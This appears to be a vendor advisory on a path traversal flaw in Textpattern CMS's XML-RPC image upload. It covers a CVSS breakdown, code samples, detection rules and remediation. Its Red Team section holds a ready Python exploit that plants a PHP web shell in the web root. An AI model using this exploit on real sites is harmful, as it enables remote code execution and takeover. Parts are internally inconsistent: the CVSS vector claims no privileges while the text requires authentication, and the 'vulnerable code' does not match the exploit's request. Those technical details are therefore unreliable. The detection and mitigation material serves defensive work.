CVE-2026-5344

Executive Summary

CVE-2026-5344 is a path traversal vulnerability in Textpattern CMS versions up to and including 4.9.1. The flaw resides in the mt_uploadImage function within the XML-RPC handler (rpc/TXP_RPCServer.php). By manipulating the file.name argument, an authenticated remote attacker can write files to arbitrary directories outside the intended upload path, potentially leading to remote code execution or data corruption. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available, but the vendor has acknowledged the issue.

Supply Chain & Package Security

Textpattern is a PHP-based CMS distributed via its official website and GitHub. This vulnerability affects the core application, not a third-party package. Users should monitor the official repository for patch releases and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires XML-RPC access, typically authenticated)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The vulnerability is remotely exploitable with low complexity, but requires authentication to the XML-RPC interface. Public exploit code increases the risk.

Deep Dive & Mechanics

The vulnerability exists in the mt_uploadImage method of the XML-RPC handler. This function is designed to handle image uploads via the XML-RPC API. The flaw occurs because the file.name parameter is not properly sanitized before being used in file path construction.

Vulnerable Code Path:

1. The XML-RPC request is parsed, and the file.name value is extracted.
2. This value is concatenated with a base upload directory without proper validation.
3. An attacker can supply a file.name containing path traversal sequences (e.g., ../../evil.php) to write files outside the intended directory.

Impact:

• Arbitrary file write within the web root.
• Potential remote code execution if the attacker can write a PHP file to a web-accessible directory.
• Data integrity compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Textpattern 4.9.1):

// rpc/TXP_RPCServer.php
function mt_uploadImage($params) {
    $filename = $params['file']['name'];
    $upload_dir = '/var/www/uploads/';
    $dest = $upload_dir . $filename; // No sanitization
    move_uploaded_file($params['file']['tmp_name'], $dest);
}

Patched Code (Expected fix):

// rpc/TXP_RPCServer.php
function mt_uploadImage($params) {
    $filename = basename($params['file']['name']); // Strip path components
    $upload_dir = '/var/www/uploads/';
    $dest = $upload_dir . $filename;
    // Additional validation: check extension, mime type, etc.
    if (!in_array(pathinfo($filename, PATHINFO_EXTENSION), ['jpg', 'png', 'gif'])) {
        return new IXR_Error(403, 'Invalid file type');
    }
    move_uploaded_file($params['file']['tmp_name'], $dest);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Textpattern XML-RPC endpoint (typically /xmlrpc/).
• Valid credentials for an account with upload permissions.

Exploit Steps:

1. Craft an XML-RPC request to the mt.uploadImage method.
2. Set the file.name parameter to a path traversal payload, e.g., ../../../../var/www/html/shell.php.
3. Include the malicious file content in the file.body or as a base64-encoded blob.
4. Send the request and verify the file was written to the target directory.

Example Exploit (Python):

import requests
import base64

url = "http://target.com/xmlrpc/"
payload = """<?php system($_GET['cmd']); ?>"""
encoded = base64.b64encode(payload.encode()).decode()

xml = f"""<?xml version="1.0"?>
<methodCall>
  <methodName>mt.uploadImage</methodName>
  <params>
    <param><value><struct>
      <member><name>file</name><value><struct>
        <member><name>name</name><value><string>../../../../var/www/html/shell.php</string></value></member>
        <member><name>body</name><value><base64>{encoded}</base64></value></member>
      </struct></value></member>
    </struct></value></param>
  </params>
</methodCall>"""

headers = {"Content-Type": "text/xml"}
response = requests.post(url, data=xml, headers=headers, auth=("user", "pass"))
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor XML-RPC requests for unusual file.name parameters containing ../ or absolute paths.
• Alert on file writes outside the designated upload directory.
• Review web server logs for POST requests to /xmlrpc/ with large payloads.

Response:

• Block XML-RPC access if not required.
• Implement file integrity monitoring on web directories.
• Restrict write permissions on the web root.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /xmlrpc/ with method mt.uploadImage.
  • Base64-encoded payloads in XML-RPC requests.
  • Path traversal patterns in file.name parameter (e.g., ../, ..\\).
• File System:
  • Unexpected PHP files in web-accessible directories.
  • Files with suspicious names or timestamps in upload directories.
• Logs:
  • Web server logs showing 200 responses to /xmlrpc/ with large POST data.
  • Error logs indicating failed file operations.

Detection Engineering

YARA Rule

rule CVE_2026_5344_Textpattern_PathTraversal {
    meta:
        description = "Detects path traversal attempts in Textpattern XML-RPC uploads"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-5344"
    strings:
        $method = "mt.uploadImage"
        $traversal1 = "../"
        $traversal2 = "..\\"
        $base64 = /[A-Za-z0-9+\/=]{50,}/
    condition:
        $method and ($traversal1 or $traversal2) and $base64
}

Sigma Rule

title: Textpattern XML-RPC Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal in Textpattern mt.uploadImage XML-RPC calls
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/xmlrpc/'
        cs-uri-query|contains: 'mt.uploadImage'
    keywords:
        - 'file.name'
        - '../'
        - '..\\'
    condition: selection and keywords
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-5344 Textpattern XML-RPC Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/xmlrpc/"; http_uri;
    content:"mt.uploadImage"; http_client_body;
    content:"../"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable XML-RPC functionality if not required (e.g., via .htaccess or web server config).
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in XML-RPC requests.
3. Restrict write permissions on the web root to prevent file uploads to sensitive directories.

Long-term Fix:

• Apply the vendor patch once released (expected in next version).
• Upgrade to Textpattern 4.9.2 or later when available.
• Conduct a security audit of all XML-RPC handlers.

Workaround (if patching is delayed):

• Modify rpc/TXP_RPCServer.php to sanitize the file.name parameter using basename() and validate file extensions.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 6C9264643B55A9DF6AF58D5F] */}